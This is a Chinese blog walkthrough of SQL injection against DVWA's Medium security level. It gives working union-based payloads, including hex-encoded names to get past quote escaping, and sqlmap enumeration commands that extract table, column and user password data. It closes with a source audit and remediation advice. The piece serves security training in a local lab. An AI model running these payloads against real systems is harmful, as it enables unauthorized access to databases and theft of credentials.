欢迎光临
我们一直在努力

DVWA Medium SQL Injection 安全测试与防护分析

注意:有关SQL Injection的基础知识与原理已在上篇文章指出,此处不再解释。
可参考该文章https://www.cnblogs.com/lky-sec/articles/21412117
本文仅用于网络安全学习与防御研究。所有测试均在本人本地部署、合法授权的 DVWA 靶场中进行,禁止将相关方法用于任何未授权系统。

中等难度SQL注入

一 测试范围与环境

本次测试目标为本地DVWA靶场中的SQL Injection模块

项目配置
测试环境 本地DVWA靶场
安全等级 Medium
测试系统 Kali Linux
测试工具 Firefox、Burp Suite、sqlmap
测试方式 黑盒测试、源码审计、自动化辅助验证
授权情况 本人本地靶场,合法授权

二 页面与请求分析

1.设置难度等级

进入 DVWA Security,将安全等级设置为 Medium,随后进入 SQL Injection 模块。
image

2.观察验证模块功能

可发现该模块并没有输入框,仅能选择User ID进行提交
image

3.使用Burp Suite进行抓包分析

开启Proxy模块进行拦截分析,可知使用了post请求。
image

三 手工黑盒测试

1.使用Repeater模块

右键将正常请求发送到 Burp Suite Repeater。
image

2.判断注入点

修改拦截请求中的id参数,输入1' 返回错误
image
输入1' and 1=1# 返回错误
image
输入1 and 1=1# 返回正常结果
image
结合三者输出结果可知,存在数字注入。

3.判断字段数量

输入1 order by 数字#直至出现错误,可知字段数量为2
image
image

4.获取数据库名

输入1 union select 1,database()# 查看返回结果得知数据库名为dvwa。
image

5.获取表名

输入1 union select 1,table_name from information_schema.tables where table_schema ='dvwa'#
image
发现单引号被转义,可以考虑将其转化为十六进制格式的字符串字面量,借助工具将其转为0x64767761,再次输入,得出表名guestbook,users
image

6.枚举users表中字段名

将users转为十六进制的字符串字面量为0x7573657273
输入1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273#
image

7.获取用户数据

输入1 union (select user,password from users limit 1,1)#
image

四 sqlmap自动化验证

1.保存完整的HTTP请求

准备正常请求,页面重新提交用户,将拦截的请求制作成文件,打开终端,输入nano request.txt将刚才复制内容粘贴进去,保存
image

2.使用sqlmap检测

输入sqlmap -r request.txt -p id 观察返回结果,验证了注入点存在和字段数量为2。
image

3.获取当前数据库

输入sqlmap -r request.txt -p id –current-db 验证数据库名为dvwa。
image

4.获取表名

输入sqlmap -r request.txt -p id -D dvwa –tables 验证表名为guestbook和users。
image

5.获取users表字段名

输入sqlmap -r request.txt -p id -D dvwa -T users –columns 验证字段名
image

五 代码审计

1.点击view source查看源码

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

2.源码分析

Medium等级通过mysqli_real_escape_string()对用户提交的id参数进行特殊字符转义,相比Low增加了一定防护。然而程序随后仍通过字符串拼接的方式,将$id直接加入SQL语句:

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

由于$id处于未使用引号包裹的数字型SQL上下文,攻击者无需依赖单引号即可使用AND、ORDER BY、UNION SELECT等SQL语法改变原查询结构。
因此,mysqli_real_escape_string()虽然能够影响依赖单引号的部分Payload,但无法从根本上解决SQL注入问题。漏洞的根本原因仍然是用户输入直接参与SQL语句拼接,而没有使用参数化查询。
此外,程序通过mysqli_error()直接向页面返回数据库错误信息,也会为SQL注入测试提供额外的数据库语法和执行反馈。

3.修复方案

1)对 id 参数进行整数类型验证
2)使用参数化查询
3)不向用户直接显示数据库错误
4)使用数据库最小权限
5)增加异常请求日志

六 Low与Medium差异

对比项LowMedium
请求方式 GET POST
页面输入 文本框 下拉框
SQL上下文 字符型 数字型
特殊字符处理 基本无 mysqli_real_escape_string()
单引号 可用于闭合 会受到转义
SQL拼接 存在 仍然存在
SQL注入 存在 仍然存在
根本修复 参数化查询 参数化查询
赞(0)
未经允许不得转载:171主机测评 » DVWA Medium SQL Injection 安全测试与防护分析
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址